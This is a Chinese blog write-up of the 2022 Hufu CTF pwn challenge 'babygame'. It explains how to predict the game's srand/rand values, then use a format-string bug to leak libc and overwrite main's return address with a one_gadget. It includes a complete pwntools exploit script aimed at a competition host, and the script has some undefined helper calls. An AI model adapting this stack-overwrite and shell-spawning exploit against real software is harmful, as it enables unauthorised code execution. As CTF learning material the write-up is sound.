2022 虎符 pwn babygame

在这里插入图片描述
绿

界面简单
在这里插入图片描述

在这里插入图片描述玩一百把随机数游戏

在这里插入图片描述
打赢给一个格式化字符串

重点就是过那个随机数嘛
计算机的随机数始终都是伪随机
它的种子是时间
它种子的时间是秒为单位

我们只要在它启动的时候
我们也启动我们的脚本,也开始用时间种子随机

只要我们跟他的时间不超过1s
我们就可以完全拿到它所谓的随机数

就很轻松的过了游戏
然后格式化字符串泄露libc改main返回地址为ong_gadget就可以了

exp

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
from ctypes import *

#r = process("./babygame")
r = remote("120.25.205.249",30311)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_rand = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") 

r.sendlineafter("Please input your name:", b'a'*0x100+p64(0))

libc_rand.srand(0)
for i in range(100):
    ru("round {}: \n".format(i+1))
    num = libc_rand.rand()
    if (num%3) == 1:
        r.sendline('2')
    if (num%3) == 2:
        r.sendline('0')
    if (num%3) == 0:
        r.sendline('1')

r.senduntil("Good luck to you.", '%9$lx%50c%8$hhn'.ljust(0x10,'a')+'\x78') 
r.recvuntil('\n')
libc_base = int(rv(12),16) - 0x61d6f
r.recvuntil('a')
stack_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))

one_gadget = libc_base + 0xe3b31

payload = fmtstr_payload(6, {stack_addr: one_gadget})
sendlineafter("Good luck to you.", payload)


r.interactive()
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值